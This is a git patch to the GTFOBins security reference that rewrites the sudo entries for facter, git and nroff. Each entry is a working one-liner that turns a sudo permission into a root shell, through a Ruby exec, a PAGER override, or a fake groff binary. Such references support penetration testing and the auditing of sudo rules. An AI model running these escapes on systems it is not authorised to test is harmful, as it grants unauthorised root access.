From 9aa7ec842e56a672543bbc3de2478d5277400cb7 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 10 Jun 2020 22:56:05 +0200 Subject: [PATCH] Use the sudo VAR=... syntax instead of using -E --- _gtfobins/facter.md | 2 +- _gtfobins/git.md | 2 +- _gtfobins/nroff.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/_gtfobins/facter.md b/_gtfobins/facter.md index 2dab660..d7ff4c0 100644 --- a/_gtfobins/facter.md +++ b/_gtfobins/facter.md @@ -9,5 +9,5 @@ functions: - code: | TF=$(mktemp -d) echo 'exec("/bin/sh")' > $TF/x.rb - FACTERLIB=$TF sudo -E facter + sudo FACTERLIB=$TF facter --- diff --git a/_gtfobins/git.md b/_gtfobins/git.md index e7f909f..6b0356a 100644 --- a/_gtfobins/git.md +++ b/_gtfobins/git.md @@ -14,7 +14,7 @@ functions: mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" git -C "$TF" commit --allow-empty -m x sudo: - - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help + - code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. code: | sudo git -p help config diff --git a/_gtfobins/nroff.md b/_gtfobins/nroff.md index a85d950..f7fb52c 100644 --- a/_gtfobins/nroff.md +++ b/_gtfobins/nroff.md @@ -13,5 +13,5 @@ functions: echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff - sudo -E GROFF_BIN_PATH=$TF nroff + sudo GROFF_BIN_PATH=$TF nroff ---